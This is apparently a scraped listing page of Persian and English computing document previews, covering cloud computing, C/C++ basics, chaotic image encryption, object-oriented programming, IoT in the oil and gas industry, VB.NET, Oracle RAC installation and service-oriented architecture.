رایانش ابری: بستری اجرائی هوشمندانه برای موفقیت در تجارت و کسب و کار الکترونیک رایانش ابری: بستری اجرائی هوشمندانه برای موفقیت در تجارت و کسب و کار الکترونیک سخنران: دکتر میر شهریار امامی فوق دکترای کامپیوتر و عضو هیئت علمی دانشگاه www.mirshahriaremami.com How Much Data is Created

More information

#include <iostream.h> #include<conio.h> int fact(int n) { int p=1; for (int i=2;i<=n;i++) p*=i; return p; } struct

#include <iostream.h> #include<conio.h> int fact(int n) { int p=1; for (int i=2;i<=n;i++) p*=i; return p; } struct یادآوری زبان C یکی از زبانھای برنامه نویسی که مبتنی برتعریف توابع است زبان C ميباشد.در این زبان ھر برنامه متشکل از دو نوع تابع است. 1 -توابع کتابخانه ای: توابعی ھستند که در دسته بندی ھای مختلف Files) (Header

More information

A stack-based chaotic algorithm for encryption of colored images

A stack-based chaotic algorithm for encryption of colored images Journal of AI and Data Mining Vol 5, No 1, 2017, 29-37 A stack-based chaotic algorithm for encryption of colored images H. Khodadadi 1* and O. Mirzaei 2 1. Department of Computer Engineering, Minab Branch,

More information

فصل هشتم برنامه نویس شی گرا

فصل هشتم برنامه نویس شی گرا فصل هشتم برنامه نویس شی گرا فهرست مطالب فصل هشتم.12 عضوهای static.13.14.15.1.2.3.4.5.6.7.8.9.10.11 تعریف شی گرایی چند ریختی )polymorphism( خاصیت ارث بری پشته )stack( ایجاد شی ارث بری سازنده ها و نابود

More information

اصول ميکروکامپيوترها استاد درس: دکتر http://ee.iust.ac.ir/rahmati/index.htm rahmati@iust.ac.ir ا درس Email و Website برای تکاليف و... : http://eel.iust.ac.ir/rahmati/ ١ نوزدهم فصل ا شنايی با دستورالعمل

More information

کاربردهای اینترنت اشیاء در صنعت نفت و گاز سعید صدیقیان کاشی عضوهیات علمی دانشگاه صنعتی خواجه نصیرالدین طوسی آبان 1395

کاربردهای اینترنت اشیاء در صنعت نفت و گاز سعید صدیقیان کاشی عضوهیات علمی دانشگاه صنعتی خواجه نصیرالدین طوسی آبان 1395 کاربردهای اینترنت اشیاء در صنعت نفت و گاز سعید صدیقیان کاشی عضوهیات علمی دانشگاه صنعتی خواجه نصیرالدین طوسی آبان 1395 رئوس مطالب آشنایی با اینترنت اشیاء معماری اینترنت اشیاء کاربردهای اینترنت اشیاء در

More information

Visual Basic.NET Sub Programs

Visual Basic.NET Sub Programs 1 Visual Basic.NET 2 پروگرامهاي فرعي بسياري پروگرامهاي کمپيوتر داراي دستورهاي زياد بوده و تجارب نشان داده است که بهتر است اين پروگرامها به بخش هاي خورد و قابل اداره تبديل شود. در ويژول بسيک دات نت اين

More information

راهنماي نصب Oracle RAC

راهنماي نصب Oracle RAC شماره نگارش: 0.2 مشاوران نرمافزاري اعوان 1391/06/25 تاریخچه تغییرات تاریخ شماره نگارش توضیحات نویسنده نسخه اولیه پویا پوروقار 0.1 91/05/30 بازبینی و تکمیل یاسر صفري نیا 0.2 91/06/15 بازبینی شکلی مهدي عینعلی

More information

Service Oriented Architecture. Web Client. Client/ Server. Single App. Batch. 1970s 1980s 1990s 2000s 2010s.

Service Oriented Architecture. Web Client. Client/ Server. Single App. Batch. 1970s 1980s 1990s 2000s 2010s. معماري سرویس گرا : نسل جدید معماري ها Service Orieted Architecture Batch Sigle App. Cliet/ Server Web Cliet Service Orieted Architectures 1970s 1980s 1990s 2000s 2010s SOA Workshop: A. Mahjooria, Sessio

More information